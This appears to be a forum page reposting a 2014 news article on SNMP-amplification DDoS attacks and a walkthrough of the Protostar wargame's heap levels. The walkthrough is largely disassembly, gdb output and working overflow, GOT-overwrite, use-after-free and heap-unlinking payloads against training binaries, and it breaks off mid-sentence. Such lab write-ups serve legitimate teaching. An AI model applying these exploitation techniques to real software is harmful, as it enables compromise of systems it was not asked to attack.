  18. [h=1]DDoS attacks using SNMP amplification on the rise[/h] [h=2]After using open DNS and NTP servers for DDoS amplification, attackers are also abusing the SNMP protocol[/h] By Lucian Constantin, IDG News Service May 23, 2014 02:21 PM ET IDG News Service - Attackers are increasingly abusing devices configured to publicly respond to SNMP (Simple Network Management Protocol) requests over the Internet to amplify distributed denial-of-service attacks. This amplification technique, which is also known as reflection, can theoretically work with any protocol that is vulnerable to IP (Internet Protocol) address spoofing and can generate large responses to significantly smaller queries. Attackers can craft requests that appear to originate from the IP address of their intended victim in order to trick servers that accept requests over such protocols from the Internet to flood the victim with data. Many DDoS attacks in the past year have used misconfigured DNS (Domain Name System) and NTP (Network Time Protocol) servers for amplification. However, devices that support SNMP, a protocol designed to allow the monitoring of network-attached devices by querying information about their configuration, can also be abused if the SNMP service is directly exposed to the Internet. SNMP-enabled devices with such configurations can be found both in home and business environments and include printers, switches, firewalls and routers. Since April 11, the Prolexic Security Engineering Response Team (PLXsert), which is now part of Akamai Technologies, has identified 14 separate DDoS campaigns that used SNMP reflection. Almost half of the malicious SNMP reflected traffic came from IP addresses in the U.S. and 18 percent from China, PLXsert said in a threat advisory published Thursday. "The attacks targeted clients in the following industry verticals: consumer goods, gaming, hosting, non-profits and software-as-a-service (SaaS)." One of the tools used to launch the recent attacks was created in 2011 by a hacker group called Team Poison and can send spoofed SNMP GetBulk requests to publicly accessible SNMP-enabled devices to trigger responses that can be more than 1,700 times larger than the requests, the Prolexic team said. The attackers crafted their requests to have a source port of 80 -- usually assigned to HTTP -- so that vulnerable devices return their SNMP responses to the victims on the same port, flooding their HTTP services. "Until approximately three years ago, SNMP devices were manufactured using SNMP version 2 and were commonly delivered with the SNMP protocol openly accessible to the public by default," PLXsert said. "Devices using SNMP v3 are more secure. To stop these older devices from participating in attacks, network administrators need to check for the presence of this protocol and turn off public access." Information over SNMP is controlled by a so-called community string, which in the case of SNMP v2c is "public" by default, PLXsert said. SNMP amplification attacks are not really new, said Sean Power, security operations manager at DDoS protection vendor DOSarrest Internet Security, Friday via email. "Legitimate SNMP traffic has no need to leave your network and should be prevented from doing so. This attack exists because many organizations fail to prevent this." Sursa: DDoS attacks using SNMP amplification on the rise - Network World
  19. exploit exercises - protostar - heap levels Exploit Exercises - Protostar wargame includes a number of carefully prepared exercises to help hone your basic exploitation skills. In this walkthrough I will go over the heap exploitation portion of the wargame. Spoiler Alert: I would highly recommend you go over the exercises yourself and come back to this article to find possibly different solutions or in case you get stuck. Table of Contents Heap 0 Heap 1 Heap 2 Improper use of malloc() Solution Stale Pointer Solution (aka Use-After-Free) Heap 3 Heap Layout Heap Binning Heap Unlinking Heap Unlinking Exploitation Virtual Previous Chunk Selecting forward and backward links Virtual Next Chunk(s) Finalizing the exploit External Links and References Special Note Heap 0 The first exercise illustrates a simple heap overflow with a challenge to overwrite a function pointer stored on the heap: 0x0804849c <main+16>: call 0x8048388 <malloc@plt> ; d = malloc(64) 0x080484a1 <main+21>: mov DWORD PTR [esp+0x18],eax ; store pointer 0x080484a5 <main+25>: mov DWORD PTR [esp],0x4 0x080484ac <main+32>: call 0x8048388 <malloc@plt> ; f = malloc(4) 0x080484b1 <main+37>: mov DWORD PTR [esp+0x1c],eax ; store pointer 0x080484b5 <main+41>: mov edx,0x8048478 0x080484ba <main+46>: mov eax,DWORD PTR [esp+0x1c] 0x080484be <main+50>: mov DWORD PTR [eax],edx ; f->fp = nowinner() : : 0x080484e7 <main+91>: mov eax,DWORD PTR [esp+0x18] 0x080484eb <main+95>: mov DWORD PTR [esp+0x4],edx 0x080484ef <main+99>: mov DWORD PTR [esp],eax 0x080484f2 <main+102>: call 0x8048368 <strcpy@plt> ; overflow d 0x080484f7 <main+107>: mov eax,DWORD PTR [esp+0x1c] 0x080484fb <main+111>: mov eax,DWORD PTR [eax] 0x080484fd <main+113>: call eax ; nowinner() The goal is to execute the function winner() once the call eax instruction is executed: (gdb) p winner $1 = {void (void)} 0x8048464 <winner> The application was nice enough to print addresses returned by the two malloc() calls, saving us the effort of tracking those addresses in the debugger: $ ./heap0 AAAA data is at 0x804a008, fp is at 0x804a050 level has not been passed The first exploit payload can be completed by calculating the offset to the next heap chunk and inserting the address of the winner() function: $ ./heap0 `python -c 'print "A"*72+"\x64\x84\x04\x08"'` data is at 0x804a008, fp is at 0x804a050 level passed Heap 1 The next exercise challenges the player to take advantage of several allocated structures to redirect the execution flow. The exercise creates several nested allocations as follows: 0x080484c2 <main+9>: mov DWORD PTR [esp],0x8 ; i1 = malloc(8) 0x080484c9 <main+16>: call 0x80483bc <malloc@plt> 0x080484ce <main+21>: mov DWORD PTR [esp+0x14],eax 0x080484d2 <main+25>: mov eax,DWORD PTR [esp+0x14] 0x080484d6 <main+29>: mov DWORD PTR [eax],0x1 ; priority = 1 0x080484dc <main+35>: mov DWORD PTR [esp],0x8 0x080484e3 <main+42>: call 0x80483bc <malloc@plt> ; name = malloc(8) 0x080484e8 <main+47>: mov edx,eax 0x080484ea <main+49>: mov eax,DWORD PTR [esp+0x14] 0x080484ee <main+53>: mov DWORD PTR [eax+0x4],edx ; i1->name ;------------------------------------------------------------------------------ 0x080484f1 <main+56>: mov DWORD PTR [esp],0x8 0x080484f8 <main+63>: call 0x80483bc <malloc@plt> ; i2 = malloc(8) 0x080484fd <main+68>: mov DWORD PTR [esp+0x18],eax 0x08048501 <main+72>: mov eax,DWORD PTR [esp+0x18] 0x08048505 <main+76>: mov DWORD PTR [eax],0x2 ; priority = 2 0x0804850b <main+82>: mov DWORD PTR [esp],0x8 0x08048512 <main+89>: call 0x80483bc <malloc@plt> ; name = malloc(8) 0x08048517 <main+94>: mov edx,eax 0x08048519 <main+96>: mov eax,DWORD PTR [esp+0x18] 0x0804851d <main+100>: mov DWORD PTR [eax+0x4],edx ; i2->name Two strcpy() calls are made in order to populate these structures with user input: 0x08048520 <main+103>: mov eax,DWORD PTR [ebp+0xc] 0x08048523 <main+106>: add eax,0x4 0x08048526 <main+109>: mov eax,DWORD PTR [eax] 0x08048528 <main+111>: mov edx,eax 0x0804852a <main+113>: mov eax,DWORD PTR [esp+0x14] 0x0804852e <main+117>: mov eax,DWORD PTR [eax+0x4] ; i1->name 0x08048531 <main+120>: mov DWORD PTR [esp+0x4],edx 0x08048535 <main+124>: mov DWORD PTR [esp],eax 0x08048538 <main+127>: call 0x804838c <strcpy@plt> ; strcpy() ;------------------------------------------------------------------------------ 0x0804853d <main+132>: mov eax,DWORD PTR [ebp+0xc] 0x08048540 <main+135>: add eax,0x8 0x08048543 <main+138>: mov eax,DWORD PTR [eax] 0x08048545 <main+140>: mov edx,eax 0x08048547 <main+142>: mov eax,DWORD PTR [esp+0x18] 0x0804854b <main+146>: mov eax,DWORD PTR [eax+0x4] 0x0804854e <main+149>: mov DWORD PTR [esp+0x4],edx ; i2->name 0x08048552 <main+153>: mov DWORD PTR [esp],eax 0x08048555 <main+156>: call 0x804838c <strcpy@plt> ; strcpy The last piece of code executed is a simple call to puts(): 0x0804855a <main+161>: mov DWORD PTR [esp],0x804864b 0x08048561 <main+168>: call 0x80483cc <puts@plt> ; puts() Let's observe where everything got allocated after user data was already copied: (gdb) break *main+161 Breakpoint 1 at 0x804855a: file heap1/heap1.c, line 34. (gdb) r AAAAAAAA BBBBBBBB Starting program: /opt/protostar/bin/heap1 AAAAAAAA BBBBBBBB Breakpoint 1, main (argc=3, argv=0xbffff834) at heap1/heap1.c:34 (gdb) x/x $esp+0x14 ; i1 0xbffff774: 0x0804a008 (gdb) x/2x 0x0804a008 0x804a008: 0x00000001 0x0804a018 (gdb) x/s 0x0804a018 ; i1->name 0x804a018: "AAAAAAAA" (gdb) x/x $esp+0x18 ; i2 0xbffff778: 0x0804a028 (gdb) x/2x 0x0804a028 0x804a028: 0x00000002 0x0804a038 (gdb) x/s 0x0804a038 ; i2->name 0x804a038: "BBBBBBBB" An exploit can take advantage of the two writes. The first write can be used to overflow the i1->name member and continue writing until we reach the i2->name in order to populate the pointer with an arbitrary address (e.g. GOT entry for puts()). The second write can be used to fill in the address of the function winner() to complete the challenge. Let's do a bit of recon on memory addresses to overwrite: (gdb) x/i 0x80483cc ; puts() 0x80483cc <puts@plt>: jmp DWORD PTR ds:0x8049774 (gdb) x/x 0x8049774 0x8049774 <_GLOBAL_OFFSET_TABLE_+36>: 0x080483d2 Finally, the address of winner() can be simply queried in the debugger: (gdb) print winner $1 = {void (void)} 0x8048494 <winner> We can complete the exploit using the above two memory addesses as follows: $ ./heap1 `python -c 'print "A"*20+"\x74\x97\x04\x08"+" "+"\x94\x84\x04\x08"'` and we have a winner @ 1397266680 Heap 2 Stepping away from code execution, Heap2 exercises requires a bypass of a simple authentication system by corrupting a data structure stored on the heap. Below is the assembly snippet where the flag in the authentication data structure is checked to confirm whether or not the user is logged in using the "login" command: 0x08048a86 <main+338>: mov eax,ds:0x804b5f4 ; struct auth *auth 0x08048a8b <main+343>: mov eax,DWORD PTR [eax+0x20] ; auth->auth 0x08048a8e <main+346>: test eax,eax 0x08048a90 <main+348>: je 0x8048aa3 <main+367> ; if(auth->auth) { 0x08048a92 <main+350>: mov DWORD PTR [esp],0x804ada7 ; "you have logged in already!" 0x08048a99 <main+357>: call 0x804883c <puts@plt> ; } 0x08048a9e <main+362>: jmp 0x8048943 <main+15> ; else { 0x08048aa3 <main+367>: mov DWORD PTR [esp],0x804adc3 ; "please enter your password" 0x08048aaa <main+374>: call 0x804883c <puts@plt> ; } In order for the above check to pass, the auth->auth parameter must be set to a non-zero value. Let's see how the auth struct is initialized using the "auth" command: 0x080489a7 <main+115>: mov DWORD PTR [esp],0x4 0x080489ae <main+122>: call 0x804916a <malloc> ; malloc heap chunk for auth 0x080489b3 <main+127>: mov ds:0x804b5f4,eax 0x080489b8 <main+132>: mov eax,ds:0x804b5f4 0x080489bd <main+137>: mov DWORD PTR [esp+0x8],0x4 0x080489c5 <main+145>: mov DWORD PTR [esp+0x4],0x0 0x080489cd <main+153>: mov DWORD PTR [esp],eax 0x080489d0 <main+156>: call 0x80487bc <memset@plt> ; memset auth struct to zero 0x080489d5 <main+161>: lea eax,[esp+0x10] ; get 'auth' command line 0x080489d9 <main+165>: add eax,0x5 ; offset after "auth " 0x080489dc <main+168>: mov DWORD PTR [esp],eax 0x080489df <main+171>: call 0x80487fc <strlen@plt> ; get string length 0x080489e4 <main+176>: cmp eax,0x1e ; make sure it's <= 30 bytes 0x080489e7 <main+179>: ja 0x8048a01 <main+205> 0x080489e9 <main+181>: lea eax,[esp+0x10] 0x080489ed <main+185>: lea edx,[eax+0x5] 0x080489f0 <main+188>: mov eax,ds:0x804b5f4 0x080489f5 <main+193>: mov DWORD PTR [esp+0x4],edx 0x080489f9 <main+197>: mov DWORD PTR [esp],eax 0x080489fc <main+200>: call 0x804880c <strcpy@plt> ; copy to auth->name There are several interesting points in the snippet above: malloc() is called with a parameter of 4 bytes which is the size of the *auth pointer and not the size of the struct auth. As a result only enough room for the auth->name will be allocated. The copied string input is explicitly checked to fit in the allocated 4 bytes, so a simple overflow to auth->auth would not work here. Let's explore another accepted command, "service: 0x08048a4e <main+282>: lea eax,[esp+0x10] 0x08048a52 <main+286>: add eax,0x7 0x08048a55 <main+289>: mov DWORD PTR [esp],eax 0x08048a58 <main+292>: call 0x804886c <strdup@plt> ; duplicate string to heap 0x08048a5d <main+297>: mov ds:0x804b5f8,eax ; store address in *service The last piece of functionality in the challenge is the "reset" command which simply calls free() on the auth struct: 0x08048a21 <main+237>: mov eax,ds:0x804b5f4 ; *auth 0x08048a26 <main+242>: mov DWORD PTR [esp],eax 0x08048a29 <main+245>: call 0x804999c <free> ; free() Improper use of malloc() Solution At this point we can analyze how heap memory is allocated in order to write the exploit: $ ./heap2 [ auth = (nil), service = (nil) ] auth AAAA [ auth = 0x804c008, service = (nil) ] service BBBB [ auth = 0x804c008, service = 0x804c018 ] login please enter your password [ auth = 0x804c008, service = 0x804c018 ] Notice that due to the way malloc is called, the next chunk is allocated at 0x804c018. Recall that the application retrieves the pointer to auth->auth at the offset 0x20 relative to the address of auth, in this case the address of auth->auth is 0x804c008 + 0x20 = 0x804c028. As a result of the overlap, if we copy a sufficiently large string (16 bytes or more) using the service command, then the authentication check will pass: $ ./heap2 [ auth = (nil), service = (nil) ] auth AAAA [ auth = 0x804c008, service = (nil) ] service BBBBBBBBBBBBBBBB [ auth = 0x804c008, service = 0x804c018 ] login you have logged in already! [ auth = 0x804c008, service = 0x804c018 ] Stale Pointer Solution (aka Use-After-Free) This exercise likely had a simple typo that prevented the expected stale pointer solution. A use-after-free vulnerability where the deallocated auth chunk is used by the application resulting in authentication bypass. The key to exploiting this condition is being able to be able to overwrite the original chunk with our data. Below is an example of the same chunk being allocated after the call to free(): $ ./heap2 [ auth = (nil), service = (nil) ] auth AAAA [ auth = 0x804c008, service = (nil) ] reset [ auth = 0x804c008, service = (nil) ] service BBBB [ auth = 0x804c008, service = 0x804c008 ] Notice that the address of service is the same as auth. As a result you could craft a valid auth struct which would pass the authenticated test. Unfortunately, because of the typo strdup() would not be able to reuse the original auth chunk. In the interests of learning I have patched the original binary to allocate the correct 0x24 byte chunk instead as follows: 0x080489a7 <main+115>: mov DWORD PTR [esp],0x24 <--- sizeof(struct auth) 0x080489ae <main+122>: call 0x804916a <malloc> 0x080489b3 <main+127>: mov ds:0x804b5f4,eax 0x080489b8 <main+132>: mov eax,ds:0x804b5f4 0x080489bd <main+137>: mov DWORD PTR [esp+0x8],0x24 <--- sizeof(struct auth) 0x080489c5 <main+145>: mov DWORD PTR [esp+0x4],0x0 0x080489cd <main+153>: mov DWORD PTR [esp],eax 0x080489d0 <main+156>: call 0x80487bc <memset@plt> We can now exploit this vulnerability the way it was intended: $ ./heap2 [ auth = (nil), service = (nil) ] auth AAAA [ auth = 0x804c008, service = (nil) ] reset [ auth = 0x804c008, service = (nil) ] service AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [ auth = 0x804c008, service = 0x804c008 ] login you have logged in already! [ auth = 0x804c008, service = 0x804c008 ] Heap 3 The last exercise in the heap series introduces the exploitation of the classic Doug Lea Malloc. For the sake of learning, this walkthrough will go in-depth on every aspect of the exploitation process, so feel free to skip ahead if it gets too dense. Heap Layout The key to writing an exploit for this exercise is visualizing the layout of chunks in memory and how they can be corrupted. For example, here is how an allocated chunk looks like: chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of previous chunk, if allocated | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of chunk, in bytes |M|P| mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | User data starts here... . . . . (malloc_usable_size() bytes) . . | nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of chunk | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ The exercise allocates three 32 byte chunks as follows: 0x08048892 <main+9>: mov DWORD PTR [esp],0x20 0x08048899 <main+16>: call 0x8048ff2 <malloc> ; a = malloc(32) 0x0804889e <main+21>: mov DWORD PTR [esp+0x14],eax 0x080488a2 <main+25>: mov DWORD PTR [esp],0x20 0x080488a9 <main+32>: call 0x8048ff2 <malloc> ; b = malloc(32) 0x080488ae <main+37>: mov DWORD PTR [esp+0x18],eax 0x080488b2 <main+41>: mov DWORD PTR [esp],0x20 0x080488b9 <main+48>: call 0x8048ff2 <malloc> ; c = malloc(32) 0x080488be <main+53>: mov DWORD PTR [esp+0x1c],eax 0x080488c2 <main+57>: mov eax,DWORD PTR [ebp+0xc] Breaking the application immediately after all three malloc() calls, we can observe the heap memory layout: (gdb) break *main+60 (gdb) r AAAA BBBB CCCC Starting program: /opt/protostar/bin/heap3 AAAA BBBB CCCC Breakpoint 1, 0x080488c5 in main (argc=4, argv=0xbffff844) at heap3/heap3.c:20 (gdb) x/3x $esp+0x14 0xbffff784: 0x0804c008 0x0804c030 0x0804c058 +----- size of chunk (gdb) x/12x 0x0804c008 - 8 | 0x804c000: 0x00000000 0x00000029 0x00000000 0x00000000 0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029 | size of next chunk ----+ (gdb) x/12x 0x0804c030 - 8 0x804c028: 0x00000000 0x00000029 0x00000000 0x00000000 0x804c038: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c048: 0x00000000 0x00000000 0x00000000 0x00000029 (gdb) x/12x 0x0804c058 - 8 0x804c050: 0x00000000 0x00000029 0x00000000 0x00000000 0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89 Notice that the chunk size 0x29 includes IS_MMAPPED and PREV_INUSE flags as its two least significant bits, so the true size is 0x29 & 0xfc = 0x28 or 40 bytes. This value corresponds to the originally requested 32 bytes + 8 bytes for the header. After the three strcpy() operations, all of the application's memory chunks get populated with their respective command line parameter: (gdb) break *main+136 Breakpoint 2 at 0x8048911: file heap3/heap3.c, line 24. (gdb) c Breakpoint 2, 0x08048911 in main (argc=4, argv=0xbffff844) at heap3/heap3.c:24 (gdb) x/12x 0x0804c008 - 8 0x804c000: 0x00000000 0x00000029 0x41414141 0x00000000 0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029 (gdb) x/12x 0x0804c030 - 8 0x804c028: 0x00000000 0x00000029 0x42424242 0x00000000 0x804c038: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c048: 0x00000000 0x00000000 0x00000000 0x00000029 (gdb) x/12x 0x0804c058 - 8 0x804c050: 0x00000000 0x00000029 0x43434343 0x00000000 0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89 At last the program concludes with three consecutive free() calls which deallocate chunks in reverse order: 0x0804890a <main+129>: mov eax,DWORD PTR [esp+0x1c] 0x0804890e <main+133>: mov DWORD PTR [esp],eax 0x08048911 <main+136>: call 0x8049824 <free> ; free(c) 0x08048916 <main+141>: mov eax,DWORD PTR [esp+0x18] 0x0804891a <main+145>: mov DWORD PTR [esp],eax 0x0804891d <main+148>: call 0x8049824 <free> ; free( 0x08048922 <main+153>: mov eax,DWORD PTR [esp+0x14] 0x08048926 <main+157>: mov DWORD PTR [esp],eax 0x08048929 <main+160>: call 0x8049824 <free> ; free(a) At this point, it is clear that it is easy to overflow all three chunks; however, the exact mechanism to gain code execution will require some work. Heap Binning First let's observe what happens to memory after the three free() calls execute. (gdb) break *main+165 Breakpoint 3 at 0x804892e: file heap3/heap3.c, line 28. (gdb) c Breakpoint 3, main (argc=4, argv=0xbffff844) at heap3/heap3.c:28 chunk size ----+ +---- forward pointer | | (gdb) x/12x 0x0804c008 - 8 | | 0x804c000: 0x00000000 0x00000029 0x0804c028 0x00000000 0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029 (gdb) x/12x 0x0804c030 - 8 0x804c028: 0x00000000 0x00000029 0x0804c050 0x00000000 0x804c038: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c048: 0x00000000 0x00000000 0x00000000 0x00000029 (gdb) x/12x 0x0804c058 - 8 0x804c050: 0x00000000 0x00000029 0x00000000 0x00000000 0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89 It looks like a single linked data structure with forward pointers containing addresses of the next free chunk. Let's look at the disassembly of the free() function to understand what it is doing: 0x804982a <free+6>: mov DWORD PTR [ebp-0x38],0x804b160 ; bin 0x8049831 <free+13>: cmp DWORD PTR [ebp+0x8],0x0 ; make sure mem != 0 0x8049835 <free+17>: je 0x8049a89 <free+613> ;------------------------------------------------------------------------------ 0x804983b <free+23>: mov eax,DWORD PTR [ebp+0x8] ; mem to free 0x804983e <free+26>: sub eax,0x8 ; chunk = mem - 8; 0x8049841 <free+29>: mov DWORD PTR [ebp-0x34],eax ; store chunk 0x8049844 <free+32>: mov eax,DWORD PTR [ebp-0x34] 0x8049847 <free+35>: mov eax,DWORD PTR [eax+0x4] ; chunk_size_flags 0x804984a <free+38>: and eax,0xfffffffc ; zero last two flag bits 0x804984d <free+41>: mov DWORD PTR [ebp-0x30],eax ; chunk_size 0x8049850 <free+44>: mov eax,DWORD PTR [ebp-0x38] ; bin 0x8049853 <free+47>: mov eax,DWORD PTR [eax] ; max bin chunk size (0x49) 0x8049855 <free+49>: cmp eax,DWORD PTR [ebp-0x30] ; compare to chunk_size 0x8049858 <free+52>: jb 0x8049899 <free+117> ; unsigned comparison ;------------------------------------------------------------------------------ 0x804985a <free+54>: mov eax,DWORD PTR [ebp-0x38] ; bin 0x804985d <free+57>: mov eax,DWORD PTR [eax] ; bin size threshold 0x804985f <free+59>: mov edx,eax 0x8049861 <free+61>: and edx,0xfffffffe ; zero out the last bit 0x8049864 <free+64>: mov eax,DWORD PTR [ebp-0x38] 0x8049867 <free+67>: mov DWORD PTR [eax],edx ; update bin size 0x8049869 <free+69>: mov eax,DWORD PTR [ebp-0x38] ;------------------------------------------------------------------------------ 0x804986c <free+72>: lea edx,[eax+0x4] ; bin base (0x804b164) 0x804986f <free+75>: mov eax,DWORD PTR [ebp-0x30] ; chunk_size 0x8049872 <free+78>: shr eax,0x3 ; calculate bin offset 0x8049875 <free+81>: sub eax,0x2 ; based on chunk size. 0x8049878 <free+84>: shl eax,0x2 ; (( 0x28/8 )- 2 )* 4 = 0xc 0x804987b <free+87>: lea eax,[edx+eax*1] ; bin base + 0xc ;------------------------------------------------------------------------------ 0x804987e <free+90>: mov DWORD PTR [ebp-0x2c],eax ; bin base for size 0x40 0x8049881 <free+93>: mov eax,DWORD PTR [ebp-0x2c] 0x8049884 <free+96>: mov edx,DWORD PTR [eax] ; bin head 0x8049886 <free+98>: mov eax,DWORD PTR [ebp-0x34] ; chunk 0x8049889 <free+101>: mov DWORD PTR [eax+0x8],edx ; set chunk->fd to bin head 0x804988c <free+104>: mov eax,DWORD PTR [ebp-0x2c] ; 0x804988f <free+107>: mov edx,DWORD PTR [ebp-0x34] 0x8049892 <free+110>: mov DWORD PTR [eax],edx ; bin head = chunk 0x8049894 <free+112>: jmp 0x8049a89 <free+613> : 0x8049a89 <free+613>: leave Studying the above disassembly, you can see that freed chunks smaller than 64 bytes are placed into a single-linked list. The list itself is placed at a calculated location in a bin data structure. All this extra infrastructure offers increased performance and reduced fragmentation when dealing with small (<64 bytes) chunks. Imagine if you need to allocate another 32 byte chunk. The allocator would quickly check the appropriate bin that has a linked list of free 32 byte chunks and provide you with the address to use. After the completion of all three frees, the 40 byte chunk bin will contain the address of the original Chunk A: (gdb) x/x 0x804b170 0x804b170 <av_+16>: 0x0804c000 Now as educational as it was to study how malloc bins work the actual exploitation would require at least one more allocation. With a hypothetical allocation, we could provide an overflown forward pointer which may allow us to corrupt memory once the allocator attempts to relink the chain. Unfortunately, this scenario is not applicable in this case so we must seek an alternative path. Heap Unlinking Looking at the code path that malloc took in the previous section, we can see that a huge chunk of code was skipped because the chunk size was < 64 bytes: 0x8049853 <free+47>: mov eax,DWORD PTR [eax] ; max bin chunk size (0x49) 0x8049855 <free+49>: cmp eax,DWORD PTR [ebp-0x30] ; compare to chunk_size 0x8049858 <free+52>: jb 0x8049899 <free+117> ; unsigned comparison Let's reverse engineer the code flow in case the jump did take place (for chunks larger than 64 bytes): 0x8049899 <free+117>: mov eax,DWORD PTR [ebp-0x34] ; chunk 0x804989c <free+120>: mov eax,DWORD PTR [eax+0x4] ; chunk_size_flags 0x804989f <free+123>: and eax,0x2 ; IS_MMAPPED 0x80498a2 <free+126>: test eax,eax ; check flag 0x80498a4 <free+128>: jne 0x8049a2c <free+520> ; jump if the flag is set ;------------------------------------------------------------------------------ 0x80498aa <free+134>: mov eax,DWORD PTR [ebp-0x30] ; chunk_size 0x80498ad <free+137>: mov edx,DWORD PTR [ebp-0x34] ; chunk 0x80498b0 <free+140>: lea eax,[edx+eax*1] ; next_chunk 0x80498b3 <free+143>: mov DWORD PTR [ebp-0x28],eax ; store next_chunk 0x80498b6 <free+146>: mov eax,DWORD PTR [ebp-0x28] 0x80498b9 <free+149>: mov eax,DWORD PTR [eax+0x4] ; next_chunk_size_flags 0x80498bc <free+152>: and eax,0xfffffffc ; zero last two flag bits 0x80498bf <free+155>: mov DWORD PTR [ebp-0x24],eax ; next_chunk_size ;------------------------------------------------------------------------------ 0x80498c2 <free+158>: mov eax,DWORD PTR [ebp-0x34] ; chunk 0x80498c5 <free+161>: mov eax,DWORD PTR [eax+0x4] ; chunk_size 0x80498c8 <free+164>: and eax,0x1 ; PREV_INUSE flag 0x80498cb <free+167>: test eax,eax ; check the flag 0x80498cd <free+169>: jne 0x8049909 <free+229> ; jump if the flag is set Pretty boring so far. A check is done to see whether the two least significant bits are set in the chunk size and jump way down if that's the case. As previously mentioned, the two bits correspond to IS_MMAPPED and PREV_INUSE flags. Recall that the size field of our three chunks was set to 0x29 meaning that the least significant bits were indeed set (PREV_INUSE). So even if we somehow made a chunk appear larger than 64 bytes, we would still have jump to <free+229>. Imagine that there is a way to bypass both of these jumps and continue executing as if neither of the two flags were set: 0x80498cf <free+171>: mov eax,DWORD PTR [ebp-0x34] ; chunk 0x80498d2 <free+174>: mov eax,DWORD PTR [eax] ; prev_chunk_size 0x80498d4 <free+176>: mov DWORD PTR [ebp-0x1c],eax 0x80498d7 <free+179>: mov eax,DWORD PTR [ebp-0x1c] 0x80498da <free+182>: add DWORD PTR [ebp-0x30],eax ; chunk_size 0x80498dd <free+185>: mov eax,DWORD PTR [ebp-0x1c] 0x80498e0 <free+188>: neg eax ; -prev_chunk_size 0x80498e2 <free+190>: add DWORD PTR [ebp-0x34],eax ; prev_chunk = ; chunk+(-prev_chunk_size) 0x80498e5 <free+193>: mov eax,DWORD PTR [ebp-0x34] ; store prev_chunk 0x80498e8 <free+196>: mov eax,DWORD PTR [eax+0x8] ; prev_chunk->fd 0x80498eb <free+199>: mov DWORD PTR [ebp-0x14],eax 0x80498ee <free+202>: mov eax,DWORD PTR [ebp-0x34] 0x80498f1 <free+205>: mov eax,DWORD PTR [eax+0xc] ; prev_chunk->bk 0x80498f4 <free+208>: mov DWORD PTR [ebp-0x18],eax 0x80498f7 <free+211>: mov eax,DWORD PTR [ebp-0x14] ; FD 0x80498fa <free+214>: mov edx,DWORD PTR [ebp-0x18] ; BK 0x80498fd <free+217>: mov DWORD PTR [eax+0xc],edx ; FD->bk = BK 0x8049900 <free+220>: mov eax,DWORD PTR [ebp-0x18] ; BK 0x8049903 <free+223>: mov edx,DWORD PTR [ebp-0x14] ; FD 0x8049906 <free+226>: mov DWORD PTR [eax+0x8],edx ; BK->fk = FD Now it's getting exciting, allow me to explain why =). Toward the bottom of the disassembly there are two memory writes that perform chunk unlinking as part of backward chunk consolidation. Both of the memory writes use source and destination addresses stored in the chunk headers, specifically chunk forward and backward pointers. Recall that we can overflow chunks at will with the three gets() calls and as a result we may be able to control the addresses used above to make an arbitrary write. Heap Unlinking Exploitation In order to reach the "interesting" code block at <free+211> we must be able to create a chunk with the size satisfying the following parameters: Must be greater than 64 (unsigned comparison) Last two bits must be set to 0 The following payload can overwrite the adjacent chunk's size parameter to satisfy these requirements: (gdb) r AAAA `python -c 'print "B"*32 + "CCCC" + "\xf0"'` CCCC It is useful to visualize heap chunks in memory: /------ Chunk A -------\ /------ Chunk B -------\ /------ Chunk C -------\ +----+----+--------------+----+----+--------------+----+----+--------------+ | | | AAAA | | | BBBB... BBBB|CCCC|\xf0| CCCC | +----+----+--------------+----+----+--------------+----+----+--------------+ | | previous chunk size --+ +-- chunk size Chunk B was overflown into Chunk C to replace previous size value with 0x43434343 and the actual chunk size with \xf0. The value \xf0 can be replaced with any other value subject to the aforementioned conditions. Once free© is called, the jump at <free+52> would no longer take place and we would start executing the "interesting" branch. Virtual Previous Chunk Next we need to direct the code to use the fake forward and backward pointers from the user controlled memory area. Thus we need to create a virtual chunk that replicates the following free chunk structure: chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of previous chunk | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ `head:' | Size of chunk, in bytes |M|P| mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Forward pointer to next chunk in list | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Back pointer to previous chunk in list | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Unused space (may be 0 bytes long) . . . . | nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ `foot:' | Size of chunk, in bytes | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Recall from the disassembly above that the forward and backward pointers are taken from a previous chunk. The location of the previous chunk is calculated by subtracting the size of the previous chunk from the current chunk's pointer. Ideally, if we could write the value 0x20 (32), then the previous chunk would have been calculated exactly into the Chunk B 